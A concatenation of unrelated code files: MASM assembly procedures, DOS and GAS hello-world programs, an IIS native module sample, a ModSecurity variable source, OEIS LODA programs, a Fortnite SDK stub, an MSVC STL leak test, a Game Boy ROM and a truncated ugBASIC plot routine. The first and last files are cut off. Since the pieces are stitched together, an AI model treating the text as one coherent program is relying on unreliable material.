mov esi, [ebp+20] ;numberStr
mov ecx, [ebp+24] ;MAXSTRING
xor edx, edx ;Makes sure edx (and eax next) are 0 values
xor eax, eax
cld ;sets the direction flag
loadString:
lodsb ;Loads a single byte into al reg
cmp eax, 0 ;if 0, then done
je finalCheck
imul edx, edx, 10 ;edx = edx*10
sub eax, "0" ;subtracts ascii value of zero
add edx, eax ;add together, continue loop
loop loadString
finalCheck:
mov ebx, [ebp+36] ;MIN
cmp edx, ebx
jb notNumber
mov ebx, [ebp+40] ;MAX
cmp edx, ebx
ja notNumber
mov ebx, [ebp+32] ;userNum
mov [ebx], edx ;Saves the value
jmp s2iDone
notNumber:
mov edx, [ebp+28] ;errorN
mov ebx, 1
mov [edx], ebx ;errorN changed
s2iDone:
pop ebp
ret ;No value because no values pushed
string2Int ENDP
;This is mathTime. It calculates the values.
;receives: @sum, @average, @array.
;returns: Changes to sum and average.
;precond: Addresses of sum, average and array are pushed on stack.
;registers changed: eax, esi, ecx, ebx, edx.
mathTime PROC
push ebp
mov ebp, esp
mov eax, [ebp+16] ;sum address
mov esi, [ebp+8] ;OFFSET array
mov ecx, 10 ;since there's 10 values
adding:
mov ebx, [esi] ;gets the sum
add [eax], ebx
add esi, 4
loop adding
mov edx, 0 ;for remainder
mov ebx, [ebp+16] ;New value of sum moved
mov eax, [ebx]
mov ebx, 10 ;Calc average
div ebx
mov ebx, [ebp+12] ;average
mov [ebx], eax ;Saves average
pop ebp
ret 12
mathTime ENDP
;This is writeVal, it will take the values, pass them to int2String and
; then print off the new string.
;receives: @list_prompt, @sum_prompt, @ave_prompt, @comma, sum,
; average, @printStr, @array
;returns: n/s, just prints values
;precond: Everything pushed on stack in order, need to pass to i2s
;registers changed: esi & ecx
writeVal PROC
push ebp
mov ebp, esp
displayString [ebp+36] ;OFFSET list_prompt
mov esi, [ebp+8] ;OFFSET array
mov ecx, 10
printLoop:
push ecx
push [ebp+12] ;Offset printStr
push [esi] ;value of array
call int2String
displayString [ebp+12] ;displays OFFSET printStr
add esi, 4 ;moves to next value in array
pop ecx
cmp ecx, 1 ;To make sure comma not printed after last value
je noComma
displayString [ebp+24] ;OFFSET comma
noComma:
loop printLoop
call CrLf
call CrLf
displayString [ebp+32] ;OFFSET sum_prompt
push [ebp+12] ;printStr
push [ebp+20] ;sum value
call int2String
displayString [ebp+12]
call CrLf
call CrLf
displayString [ebp+28] ;OFFSET ave_prompt
push [ebp+12] ;printStr
push [ebp+16] ;average
call int2String
displayString [ebp+12]
call CrLf
pop ebp
ret 32
writeVal ENDP
;This is int2String, which converts an integer a string.
;receives: An integer and the @printStr
;returns: change to printStr
;precond: Needs stack not to change.
;registers changed: eax, ebx, edx, ecx
int2String PROC
LOCAL holder:DWORD ;local value, to hold bytes
mov eax, [ebp+8] ;Int to print
mov ebx, 10
xor ecx, ecx ;clears ecx, 0
divider:
xor edx, edx ;clears edx
div ebx
push edx ;each digit saved
inc ecx ;to know how big string should be, used in conquer
test eax, eax ;ZF is 1 if eax = 0
jnz divider ;while eax not 0, continues loop
mov edi, [ebp+12] ;OFFSET printStr
conquer:
pop holder ;moves digit into the holder
mov al, BYTE PTR holder ;moves value into al
add al, "0" ;adds to ascii value of 0
stosb ;stores value in printStr
loop conquer
mov al, 0 ;Null character
stosb
ret 8
int2String ENDP
END main
|
LoadFile:
JSL LoadNewSoundFx
LDA.b #$00 : STA $7EC011 ; restore what we overwrote
RTL |
; Hello World for Intel Assembler (MSDOS)
; from http://www.roesler-ac.de/wolfram/hello.htm
mov ax,cs
mov ds,ax
mov ah,9
mov dx, offset Hello
int 21h
xor ax,ax
int 21h
Hello:
db "Hello World!",13,10,"$"
|
// <Snippet3>
#pragma warning( disable : 4290 )
#pragma warning( disable : 4530 )
#define _WINSOCKAPI_
#include <windows.h>
#include <io.h>
#include <sal.h>
#include <httpserv.h>
#include <string>
using namespace std;
#import "msxml6.dll"
using namespace MSXML2;
// The CConvert class mirrors the Convert class that is
// defined in the .NET Framework. It converts primitives
// and other data types to wstring types.
class CConvert
{
public:
// The ToString method converts a HANDLE to a wstring.
// h: the HANDLE to convert to a wstring.
// return: the HANDLE as a wstring.
static wstring ToString(HANDLE h)
{
// If the HANDLE is NULL, return the "NULL" string.
if (NULL == h)
{
return L"NULL";
}
// If the HANDLE is not valid, return
// the INVALID_HANDLE_VALUE as a string.
if (INVALID_HANDLE_VALUE == h)
{
return L"INVALID_HANDLE_VALUE";
}
// The HANDLE is valid.
return L"valid";
}
// The ToByteString converts a double-byte
// character string to a single-byte string.
// str: the double-byte string to convert.
// return: a single-byte string copied from str.
static string ToByteString(const wstring& str)
{
// Get the length of the
// double-byte string.
size_t length = str.length();
// Create a temporary char pointer.
char* byteChar = new char[length+1];
byteChar[0] = '\0';
// Copy the double-byte character string
// into the single-byte string.
size_t charsReturned = 0;
wcstombs_s(&charsReturned, byteChar,
length+1, str.c_str(), length+1);
// Create a string to return.
string retString = byteChar;
// Delete the temporary string and
// set that string to NULL.
delete[] byteChar;
byteChar = NULL;
// Return the single-byte string.
return retString;
}
};
// The CResponseWriter class writes
// text to the response stream.
class CResponseWriter
{
public:
// Creates the CResponseWriter class.
// response: the IHttpResponse
// pointer to write to.
// throws: a _com_error exception if
// the IHttpResponse pointer is NULL.
CResponseWriter(IHttpResponse* response)
throw (_com_error)
{
// If the response is NULL,
// throw an exception.
if (NULL == response)
{
ThrowOnFail(E_INVALIDARG);
}
// Set the internal response.
m_response = response;
}
// The destructor for the CResponseWriter
// class. The CResponseWriter method
// sets the IHttpResponse pointer to NULL.
virtual ~CResponseWriter()
{
m_response = NULL;
}
// The Write method writes the
// PCSTR to the response stream.
// pszValue: the PCSTR to write.
// throws: a _com_error if the
// Write method fails.
void Write
(
PCSTR pszValue
) throw (_com_error)
{
// The string must not be
// NULL, and its length must
// be greater than 0.
if ((NULL == pszValue) ||
(strlen(pszValue) < 1))
{
// Throw an invalid argument
// exception.
ThrowOnFail(E_INVALIDARG);
}
// Create a data chunk structure.
HTTP_DATA_CHUNK dataChunk;
// Set the chunk to a chunk in memory.
dataChunk.DataChunkType =
HttpDataChunkFromMemory;
// Set the chunk to
// the pszValue parameter.
dataChunk.FromMemory.pBuffer =
(PVOID)pszValue;
// Set the chunk size
// to the pszValue length.
dataChunk.FromMemory.BufferLength =
(USHORT)strlen(pszValue);
// Declare and initialize OUT
// parameters for the WriteEntityChunks
// method.
DWORD pcbSent = 0;
BOOL pfCompletionExpected = FALSE;
// Write the entity chunks to
// the response stream.
HRESULT hr =
m_response->WriteEntityChunks
(&dataChunk,
1,
FALSE,
FALSE,
&pcbSent,
&pfCompletionExpected);
// Throw an exception if the call
// to WriteEntityChunks is not a
// success.
ThrowOnFail(hr);
}
// Tests an HRESULT for success.
// hr: the HRESULT value to inspect.
// throws: a _com_error if the HRESULT
// parameter is not S_OK.
static void ThrowOnFail(HRESULT hr)
{
if (FAILED(hr))
{
_com_error ce(hr);
throw ce;
}
}
private:
// Specify the IHttpResponse
// pointer to write to.
IHttpResponse* m_response;
};
// The CUser class is the wrapper
// class for an IHttpUser pointer.
class CUser
{
public:
// Creates the CUser class.
// user: the IHttpUser pointer to reference.
// throws: a _com_error exception if
// the IHttpUser parameter is NULL.
CUser(IHttpUser* user)
throw (_com_error)
{
// Throw an exception if the
// IHttpUser parameter is NULL.
if (NULL == user)
{
_com_error ce(E_INVALIDARG);
throw ce;
}
// Call ReferenceUser, which increments
// the reference count for the user.
user->ReferenceUser();
// Assign the user to m_user.
m_user = user;
}
// The CUser method is the public
// destructor for the CUser class.
// The destructor calls the DereferenceUser
// method on the IHttpUser pointer, and
// sets that pointer to NULL.
virtual ~CUser()
{
// Call DereferenceUser on the m_user private
// data, which decrements the reference count
// on m_user. An IHttpUser will be deleted when
// its reference count goes to 0.
m_user->DereferenceUser();
// Set the m_user data to NULL.
m_user = NULL;
}
// The CreateElement method converts
// the internal IHttpUser pointer and
// descendant data into an XML element.
// doc: the MSXML2::IXMLDOMDocument3Ptr to use
// for creating elements and attributes.
// return: a new IXMLDOMElementPtr pointer.
// throws: a _com_error exception.
MSXML2::IXMLDOMElementPtr CreateElement
(
MSXML2::IXMLDOMDocument3Ptr doc
) const throw (_com_error)
{
// Create a new XML element to return.
MSXML2::IXMLDOMElementPtr userElement =
doc->createElement(L"user");
// Call the GetImpersonationToken
// method on the IHttpUser pointer.
HANDLE impersonationTokenHANDLE =
m_user->GetImpersonationToken();
// Convert the HANDLE to a wstring.
wstring impersonationToken =
CConvert::ToString(impersonationTokenHANDLE);
// Write an attribute to the
// userElement element.
AddAttribute(L"impersonationToken",
impersonationToken,
userElement,
doc);
// Return the XML element.
return userElement;
}
protected:
// The AddAttribute method creates a new XML
// attribute and appends it to the element
// parameter.
// name: the name of the attribute.
// text: the text value of the attribute.
// element: the XML element to
// append the new attribute to.
// doc: the XML document to use for
// creating attributes.
// return: a new IXMLDOMAttributePtr.
// throws: a _com_error exception.
static MSXML2::IXMLDOMAttributePtr AddAttribute
(
const wstring& name,
const wstring& text,
MSXML2::IXMLDOMElementPtr element,
MSXML2::IXMLDOMDocument3Ptr doc
) throw (_com_error)
{
// Create an attribute with the name.
MSXML2::IXMLDOMAttributePtr attribute =
doc->createAttribute(name.c_str());
// Set the text of the attribute to the text value.
attribute->text = text.c_str();
// Add the attribute to the passed element.
element->setAttributeNode(attribute);
// Return the new attribute to the caller.
return attribute;
}
private:
// Specify the IHttpUser pointer
// to authenticate and authorize.
IHttpUser* m_user;
};
// The CHttpResponseModule is a CHttpModule
// class that handles response processing
// by creating a custom user and writing that
// user information to the response stream.
class CHttpResponseModule : public CHttpModule
{
public:
// The CHttpResponseModule method is the public
// constructor for the CHttpResponseModule class.
CHttpResponseModule()
{
}
// The CHttpResponseModule method is
// the public virtual destructor for
// the CHttpResponseModule class.
virtual ~CHttpResponseModule()
{
}
// The OnSendResponse method is the method
// supporting the RQ_SEND_RESPONSE event type.
// pHttpContext: the current IHttpContext pointer.
// pProvider: the current IHttpEventProvider pointer.
// return: RQ_NOTIFICATION_CONTINUE.
virtual
REQUEST_NOTIFICATION_STATUS
OnSendResponse
(
IN IHttpContext* pHttpContext,
IN OUT ISendResponseProvider* pProvider
)
{
// Call the UNREFERENCED_PARAMETER macro because
// the ISendResponseProvider is never used.
UNREFERENCED_PARAMETER(pProvider);
// If the IHttpContext is NULL,
// return RQ_NOTIFICATION_CONTINUE.
if (NULL == pHttpContext)
{
return RQ_NOTIFICATION_CONTINUE;
}
// Retrieve the IHttpUser pointer
// from the IHttpContext pointer.
IHttpUser* user =
pHttpContext->GetUser();
// Retrieve the IHttpResponse pointer
// from the IHttpContext pointer.
IHttpResponse* response =
pHttpContext->GetResponse();
// Both the IHttpUser and
// IHttpResponse pointers must
// not be NUL to continue
// response processing.
if ((NULL == user) || (NULL == response))
{
return RQ_NOTIFICATION_CONTINUE;
}
// Wrap calls in a try-catch
// statement as a _com_error
// exception might be thrown.
try
{
// Create a CUser wrapper
// for the IHttpUser pointer.
CUser userWrapper(user);
// Create a new XML document.
MSXML2::IXMLDOMDocument3Ptr
doc(__uuidof(MSXML2::DOMDocument60));
// Get the user XML element from
// the CUser class, and append
// this element to the XML document.
MSXML2::IXMLDOMElementPtr userElement =
userWrapper.CreateElement(doc);
doc->appendChild(userElement);
// Create the string for writing
// the XML to the response stream.
_bstr_t bstrXml = doc->xml;
string xmlString =
"<?xml version=\"1.0\"?>" + bstrXml;
// Reset the header for text/xml so that
// browsers will display the XML correctly.
HRESULT hr =
response->SetHeader(HttpHeaderContentType,
"text/xml",
(USHORT)strlen("text/xml"),
TRUE);
// Do not throw an exception here.
// If the header cannot be set, then
// the user should be able to view
// the XML by selecting the
// "View\Source" menu item.
// Clear the response before writing
// the XML data to the response.
response->Clear();
// Create a writer.
CResponseWriter writer(response);
// Write the XML to the
// response stream.
writer.Write(xmlString.c_str());
}
catch (_com_error& ce)
{
// Attempt to get the
// description of the error.
_bstr_t description =
ce.Description();
// Print the description if
// it is not empty.
if (0 == description.length())
{
description = ce.ErrorMessage();
}
// Set an error status on the
// IHttpResponse pointer.
response->SetStatus(500, description, 0, ce.Error());
}
// Return the RQ_NOTIFICATION_CONTINUE message.
return RQ_NOTIFICATION_CONTINUE;
}
};
// The CHttpResponseFactory class implements the
// IHttpModuleFactory interface and creates and
// sets a new CHttpResponseModule listener for
// the RQ_SEND_RESPONSE event on the
// IHttpModuleRegistrationInfo pointer.
class CHttpResponseFactory : public IHttpModuleFactory
{
public:
// The RegisterCHttpModule method creates a new
// CHttpResponseFactory pointer and sets this new
// CHttpResponseFactory pointer as the IHttpModuleFactory
// pointer on the IHttpModuleRegistrationInfo pointer.
// dwServerVersion: the current server version.
// pModuleInfo: the current
// IHttpModuleRegistrationInfo pointer.
// pGlobalInfo: the current IHttpServer pointer.
// return: the value returned from the the call to
// the SetRequestNotifications on the
// IHttpModuleRegistrationInfo pointer.
static HRESULT RegisterCHttpModule
(
DWORD dwServerVersion,
IHttpModuleRegistrationInfo* pModuleInfo,
IHttpServer* pGlobalInfo
)
{
// Create a new CHttpResponseFactory pointer.
CHttpResponseFactory* moduleFactory =
new CHttpResponseFactory;
// Test for NULL on the new
// CHttpResponseFactory pointer.
if (NULL == moduleFactory)
{
// Return an out-of-memory error
// code if moduleFactory is NULL.
return HRESULT_FROM_WIN32(ERROR_NOT_ENOUGH_MEMORY);
}
// Set the request notifications for RQ_SEND_RESPONSE
// messages on the new CHttpResponseFactory pointer.
return pModuleInfo->SetRequestNotifications
(moduleFactory,
RQ_SEND_RESPONSE,
0);
}
// The GetHttpModule method creates a new
// CHttpResponseModule pointer and sets the
// new CHttpResponseModule on the ppModule parameter.
// ppModule: the new CHttpResponseModule pointer to return.
// pAllocator: currently unused.
// return: ERROR_NOT_ENOUGH_MEMORY if the
// heap is exhausted; otherwise, S_OK.
virtual
HRESULT
GetHttpModule
(
OUT CHttpModule** ppModule,
IN IModuleAllocator* pAllocator
)
{
// Call the UNREFERENCED_PARAMETER macro with
// the IModuleAllocator pointer, because this
// parameter is currently unused.
UNREFERENCED_PARAMETER(pAllocator);
// Set the dereferenced ppModule
// to a new CHttpResponseModule pointer.
(*ppModule) = new CHttpResponseModule;
// If the new CHttpResponseModule is
// NULL, return an error indicating
// that heap memory is exhausted.
if (NULL == (*ppModule))
{
return HRESULT_FROM_WIN32(ERROR_NOT_ENOUGH_MEMORY);
}
// Return S_OK.
return S_OK;
}
// The Terminate method calls delete on this.
virtual
void
Terminate()
{
delete this;
}
protected:
// The CHttpResponseFactory method is the
// protected constructor for the
// CHttpResponseFactory class.
CHttpResponseFactory()
{
}
// The CHttpResponseFactory method is the
// protected virtual destructor for the
// CHttpResponseFactory class.
virtual ~CHttpResponseFactory()
{
}
};
// The RegisterModule method is the
// main entry point for the DLL.
// dwServerVersion: the current server version.
// pModuleInfo: the current
// IHttpModuleRegistrationInfo pointer.
// pGlobalInfo: the current IHttpServer pointer.
// return: the value returned by calling the static
// CHttpResponseFactory::RegisterCHttpModule method.
HRESULT
__stdcall
RegisterModule
(
DWORD dwServerVersion,
IHttpModuleRegistrationInfo* pModuleInfo,
IHttpServer* pGlobalInfo
)
{
return CHttpResponseFactory::RegisterCHttpModule
(dwServerVersion,
pModuleInfo,
pGlobalInfo);
}
// </Snippet3> |
/*
* ModSecurity, http://www.modsecurity.org/
* Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/)
*
* You may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* If any of the files related to licensing are missing or if you have any
* other questions related to licensing please contact Trustwave Holdings, Inc.
* directly using the email address security@modsecurity.org.
*
*/
#include "src/variables/time_wday.h"
#include <time.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <iostream>
#include <string>
#include <vector>
#include <list>
#include <utility>
#include "modsecurity/transaction.h"
namespace modsecurity {
namespace variables {
void TimeWDay::evaluate(Transaction *transaction,
RuleWithActions *rule,
std::vector<const VariableValue *> *l) {
char tstr[200];
struct tm timeinfo;
time_t timer;
time(&timer);
memset(tstr, '\0', 200);
localtime_r(&timer, &timeinfo);
strftime(tstr, 200, "%u", &timeinfo);
transaction->m_variableTimeWDay.assign(tstr);
l->push_back(new VariableValue(&m_retName,
&transaction->m_variableTimeWDay));
}
} // namespace variables
} // namespace modsecurity
|
; A027016: T(2n+1,n+1), T given by A027011.
; 1,5,28,98,291,806,2164,5729,15072,39542,103615,271370,710568,1860413,4870756,12751946,33385179,87403694,228826012,599074457,1568397480,4106118110,10749956983,28143752978,73681302096,192900153461,505019158444,1322157322034,3461452807827,9062201101622,23725150497220,62113250390225,162614600673648,425730551630918,1114577054219311,2918000611027226,7639424778862584
mul $0,2
sub $0,1
cal $0,23537 ; a(n) = Lucas(n+4) - (3*n+7).
mov $1,$0
|
// Fortnite (1.8) SDK
#ifdef _MSC_VER
#pragma pack(push, 0x8)
#endif
#include "../SDK.hpp"
namespace SDK
{
//---------------------------------------------------------------------------
//Functions
//---------------------------------------------------------------------------
// Function LF_7x12_Parent.LF_7x12_Parent_C.UserConstructionScript
// (Event, Public, BlueprintCallable, BlueprintEvent)
void ALF_7x12_Parent_C::UserConstructionScript()
{
static auto fn = UObject::FindObject<UFunction>("Function LF_7x12_Parent.LF_7x12_Parent_C.UserConstructionScript");
ALF_7x12_Parent_C_UserConstructionScript_Params params;
auto flags = fn->FunctionFlags;
UObject::ProcessEvent(fn, ¶ms);
fn->FunctionFlags = flags;
}
}
#ifdef _MSC_VER
#pragma pack(pop)
#endif
|
// Copyright (c) Microsoft Corporation.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//////////////////////////////////////////////////////////////////////////////////////////
// Bug : VSW563686
// iostream has memory leaks
// Problem :
// istream and ostream virtually inherits from ios_base. Init function
// was being called from both the derived classes. This resulted in
// a memory leak since the memory allocated in the first initialization
// is lost when the Init function is called the second time.
//
// Fix :
// Modify ostream constructor to take a parameter that specifies whether
// it should call base class. Modify the constructor to call Init based
// on the parameter.
// Test :
// Use CRT memory tracking functions to detect memory leaks.
// Create iostream instances and destroy them.
// Check for any memory leaks.
//////////////////////////////////////////////////////////////////////////////////////////
#define CRTDBG_MAP_ALLOC
#include <crtdbg.h>
#include <sstream>
#include <stdlib.h>
#include <test_windows.hpp>
int main() {
// Track CRT blocks
_CrtSetDbgFlag(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_CHECK_CRT_DF);
{
// Allocate long lived objects in the CRT.
// We don't want these objects to show up as leaks.
std::iostream s(nullptr);
}
// Get memory state before creating iostream
_CrtMemState before;
_CrtMemCheckpoint(&before);
// Construct and destroy an iostream, which previously leaked.
{ std::iostream s(nullptr); }
// Get memory state after iostream allocation/deallocation
_CrtMemState after;
_CrtMemCheckpoint(&after);
// Diff memory state
_CrtMemState diff;
// return 1 if there are diffs
int nRet = _CrtMemDifference(&diff, &before, &after);
(void) diff;
(void) before;
(void) after;
// Dump diff stats and the leaks if any.
_CrtMemDumpStatistics(&diff);
OutputDebugString("Start Memory Dump\n");
_CrtMemDumpAllObjectsSince(&before);
OutputDebugString("End Memory Dump\n");
return nRet;
}
|
; ==========================================================================
; Noptest ROM example
; ==========================================================================
; First we includ the Gameboy Hardware Definitions
; into our assembly file, so that we get some nice
; constants and macros available.
INCLUDE "../include/gbhd.inc"
; Start a section at address $100.
SECTION "Main code section", HOME[$100]
; Start with a nop and a jump
nop
jp main
; Create a ROM header (NO MBC)
ROM_HEADER ROM_NOMBC, ROM_SIZE_32KBYTE, RAM_SIZE_0KBYTE
; --------------------------------------------------------------------------
; Main code entry point
; --------------------------------------------------------------------------
main:
; Nop nop nop ...
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
; All done, so let's jump in an infinite loop. Note that this is NOT the
; correct way to end the CPU loop!
.hangup:
jp .hangup
|
.section .data
strLOCK2:
.asciz "Hello, World!\n"
.section .bss
.section .text
.globl _start
_start:
call main
movl %eax, %ebx
movl $1, %eax
int $0x80
.type main, @function
main:
pushl %ebp
movl %esp, %ebp
subl $4, %esp
movl $5, %ecx
movl %ecx, -4(%ebp)
movl -4(%ebp), %ecx
pushl %ecx
movl $3, %ecx
popl %edx
cmpl %ecx, %edx
jl .l1
movl $strLOCK2, %ecx
pushl %ecx
call printf
popl %ebx
movl $9, %ecx
pushl %ecx
movl -4(%ebp), %ecx
popl %edx
addl %edx, %ecx
pushl %ecx
movl $5, %ecx
pushl %ecx
movl $9, %ecx
popl %edx
addl %edx, %ecx
popl %edx
cmpl %ecx, %edx
jne .ne3
movl $strLOCK2, %ecx
pushl %ecx
call printf
popl %ebx
.ne3:
.l1:
movl $9, %ecx
movl %ecx, %eax
jmp .leaver1
.leaver1:
movl %ebp, %esp
popl %ebp
ret
|
; A052208: Pell(n)*Pell(2*n)/2.
; Submitted by Jamie Morken(s1)
; 0,1,12,175,2448,34481,485100,6826079,96049728,1351523425,19017374892,267594778639,3765344259600,52982414452241,745519146496332,10490250465629375,147609025664755968,2077016609773544641,29225841562491165900,411238798484657629039
mov $3,1
lpb $0
sub $0,1
mov $2,$3
add $3,$1
mov $1,$2
add $1,$3
lpe
pow $1,2
mul $3,$1
mov $0,$3
div $0,4
|
; /*****************************************************************************
; * ugBASIC - an isomorphic BASIC language compiler for retrocomputers *
; *****************************************************************************
; * Copyright 2021-2022 Marco Spedaletti (asimov@mclink.it)
; *
; * Licensed under the Apache License, Version 2.0 (the "License");
; * you may not use this file eXcept in compliance with the License.
; * You may obtain a copy of the License at
; *
; * http://www.apache.org/licenses/LICENSE-2.0
; *
; * Unless required by applicable law or agreed to in writing, software
; * distributed under the License is distributed on an "AS IS" BASIS,
; * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either eXpress or implied.
; * See the License for the specific language governing permissions and
; * limitations under the License.
; *----------------------------------------------------------------------------
; * Concesso in licenza secondo i termini della Licenza Apache, versione 2.0
; * (la "Licenza"); è proibito usare questo file se non in conformità alla
; * Licenza. Una copia della Licenza è disponibile all'indirizzo:
; *
; * http://www.apache.org/licenses/LICENSE-2.0
; *
; * Se non richiesto dalla legislazione vigente o concordato per iscritto,
; * il software distribuito nei termini della Licenza è distribuito
; * "COSì COM'è", SENZA GARANZIE O CONDIZIONI DI ALCUN TIPO, esplicite o
; * implicite. Consultare la Licenza per il testo specifico che regola le
; * autorizzazioni e le limitazioni previste dalla medesima.
; ****************************************************************************/
;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
;* *
;* PLOT ROUTINE ON TED *
;* *
;* by Marco Spedaletti *
;* *
;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
PLOTX = $22 ; $23
PLOTY = $24
PLOTM = $25
PLOTOMA = $26
PLOTAMA = $27
;--------------
PLOT:
CLC
LDA PLOTY
CMP CLIPY2
BCC PLOTCLIP2
BEQ PLOTCLIP2
JMP PLOTP
PLOTCLIP2:
CMP CLIPY1
BEQ PLOTCLIP3
BCS PLOTCLIP3
JMP PLOTP
PLOTCLIP3:
LDA PLOTX+1
CMP CLIPX2+1
BCC PLOTCLIP4
BEQ PLOTCLIP3B
JMP PLOTP
PLOTCLIP3B:
LDA PLOTX
CMP CLIPX2
BCC PLOTCLIP4
BEQ PLOTCLIP4
JMP PLOTP
PLOTCLIP4:
LDA PLOTX+1
CMP CLIPX1+1
BCS PLOTCLIP5
BEQ PLOTCLIP4B
JMP PLOTP
PLOTCLIP4B:
LDA PLOTX
CMP CLIPX1
BCS PLOTCLIP5
BEQ PLOTCLIP5
JMP PLOTP
PLOTCLIP5:
PLOTMODE:
LDA CURRENTMODE
; BITMAP_MODE_STANDARD
CMP #2
BNE PLOT2X
JMP PLOT2
PLOT2X:
; BITMAP_MODE_MULTICOLOR
CMP #3
BNE PLOT3X
JMP PLOT3
PLOT3X:
; TILEMAP_MODE_STANDARD
CMP #0
BNE PLOT0X
JMP PLOT0
PLOT0X:
; TILEMAP_MODE_MULTICOLOR
CMP #1
BNE PLOT1X
JMP PLOT1
PLOT1X:
; TILEMAP_MODE_EXTENDED
CMP #4
BNE PLOT4X
JMP PLOT4
PLOT4X:
RTS
PLOT0:
PLOT1:
PLOT4:
RTS
PLOT2:
;-------------------------
;calc Y-cell, divide by 8
;y/8 is y-cell table index
;-------------------------
LDA PLOTY
LSR ;/ 2
LSR ;/ 4
LSR ;/ 8
TAY ;tbl_8,y index
CLC
;------------------------
;calc X-cell, divide by 8
;divide 2-byte PLOTX / 8
;------------------------
LDA PLOTX
ROR PLOTX+1 ;rotate the high byte into carry flag
ROR ;lo byte / 2 (rotate C into low byte)
LSR ;lo byte / 4
LSR ;lo byte / 8
TAX ;tbl_8,x index
;----------------------------------
;add x & y to calc cell point is in
;----------------------------------
CLC
LDA PLOTVBASELO,Y ;table of $A000 row base addresses
ADC PLOT8LO,X ;+ (8 * Xcell)
STA PLOTDEST ;= cell address
LDA PLOTVBASEHI,Y ;do the high byte
ADC PLOT8HI,X
STA PLOTDEST+1
CLC
TXA
ADC PLOTCVBASELO,Y ;table of $8400 row base addresses
STA PLOTCDEST ;= cell address
LDA #0
ADC PLOTCVBASEHI,Y ;do the high byte
STA PLOTCDEST+1
SEC
LDA PLOTCDEST
SBC #$00
STA PLOTLDEST ;= cell address
LDA PLOTCDEST+1
SBC #$04
STA PLOTLDEST+1 ;= cell address
;---------------------------------
;get in-cell offset to point (0-7)
;---------------------------------
LDA PLOTX ;get PLOTX offset from cell topleft
AND #%00000111 ;3 lowest bits = (0-7)
TAX ;put into index register
LDA PLOTY ;get PLOTY offset from cell topleft
AND #%00000111 ;3 lowest bits = (0-7)
TAY ;put into index register
LDA #<PLOTORBIT
STA TMPPTR
LDA #>PLOTORBIT
STA TMPPTR+1
CLC
TXA
ADC TMPPTR
STA TMPPTR
LDA #0
ADC TMPPTR+1
STA TMPPTR+1
LDY #0
LDA (TMPPTR),Y
STA PLOTOMA
LDA PLOTX
AND #$07
TAX
LDA PLOTANDBIT,X
STA PLOTAMA
;---------------------------------
;get in-cell offset to point (0-7)
;---------------------------------
LDA PLOTX ;get PLOTX offset from cell topleft
AND #%00000111 ;3 lowest bits = (0-7)
TAX ;put into index register
LDA PLOTY ;get PLOTY offset from cell topleft
AND #%00000111 ;3 lowest bits = (0-7)
TAY ;put into index register
JMP PLOTCOMMON
PLOT3:
;-------------------------
;calc Y-cell, divide by 8
;y/8 is y-cell table index
;-------------------------
LDA PLOTY
LSR ;/ 2
LSR ;/ 4
LSR ;/ 8
TAY ;tbl_8,y index
CLC
;------------------------
;calc X-cell, divide by 8
;divide 2-byte PLOTX / 8
;------------------------
LDA PLOTX
ROR PLOTX+1 ;rotate the high byte into carry flag
ROR ;lo byte / 2 (rotate C into low byte)
LSR ;lo byte / 4
TAX ;tbl_8,x index
;----------------------------------
;add x & y to calc cell point is in
;----------------------------------
CLC
LDA PLOTVBASELO,Y ;table of $A000 row base addresses
ADC PLOT8LO,X ;+ (8 * Xcell)
STA PLOTDEST ;= cell address
LDA PLOTVBASEHI,Y ;do the high byte
ADC PLOT8HI,X
STA PLOTDEST+1
CLC
TXA
ADC PLOTCVBASELO,Y ;table of $8400 row base addresses
STA PLOTCDEST ;= cell address
LDA #0
ADC PLOTCVBASEHI,Y ;do the high byte
STA PLOTCDEST+1
TXA
ADC PLOTC2VBASELO,Y ;table of $8400 row base addresses
STA PLOTC2DEST ;= cell address
LDA #0
ADC PLOTC2VBASEHI,Y ;do the high byte
STA PLOTC2DEST+1
;---------------------------------
;get in-cell offset to point (0-7)
;---------------------------------
LDA PLOTX ;get PLOTX offset from cell topleft
AND #%00000111 ;3 lowest bits = (0-7)
TAX ;put into index register
LDA PLOTY ;get PLOTY offset from cell topleft
AND #%00000111 ;3 lowest bits = (0-7)
TAY ;put into index register
LDY #0
LDA (PLOTCDEST),Y
AND #$0F
CMP _PEN
BEQ PLOT3C1
LDY #0
LDA (PLOTCDEST),Y
LSR
LSR
LSR
LSR
CMP _PEN
BEQ PLOT3C2
LDA (PLOTC2DEST),Y
AND #$0F
CMP _PEN
BEQ PLOT3C3
LDA LASTCOLOR
CMP #1
BEQ PLOT3SC2
CMP #2
BEQ PLOT3SC3
CMP #3
BEQ PLOT3SC1
PLOT3SC1:
LDA (PLOTCDEST),Y
AND #$0F
STA (PLOTCDEST),Y
LDA _PEN
ASL
ASL
ASL
ASL
ORA (PLOTCDEST),Y
STA (PLOTCDEST),Y
LDA #1
STA LASTCOLOR
PLOT3C1:
LDA #<PLOTORBIT41
STA TMPPTR
LDA #>PLOTORBIT41
STA TMPPTR+1
JMP PLOT3PEN
PLOT3SC2:
LDA (PLOTCDEST),Y
AND #$F0
STA (PLOTCDEST),Y
LDA _PEN
ORA (PLOTCDEST),Y
STA (PLOTCDEST),Y
LDA #2
STA LASTCOLOR
PLOT3C2:
LDA #<PLOTORBIT42
STA TMPPTR
LDA #>PLOTORBIT42
STA TMPPTR+1
JMP PLOT3PEN
PLOT3SC3:
LDA _PEN
LDY #0
STA (PLOTC2DEST),Y
LDA #3
STA LASTCOLOR
PLOT3C3:
LDA #<PLOTORBIT43
STA TMPPTR
LDA #>PLOTORBIT43
STA TMPPTR+1
JMP PLOT3PEN
PLOT3PEN:
;---------------------------------
;get in-cell offset to point (0-7)
;---------------------------------
LDA PLOTX ;get PLOTX offset from cell topleft
AND #%00000011 ;2 lowest bits = (0-4)
TAX ;put into index register
LDA PLOTY ;get PLOTY offset from cell topleft
AND #%00000111 ;3 lowest bits = (0-7)
TAY ;put into index register
CLC
TXA
ADC TMPPTR
STA TMPPTR
LDA #0
ADC TMPPTR+1
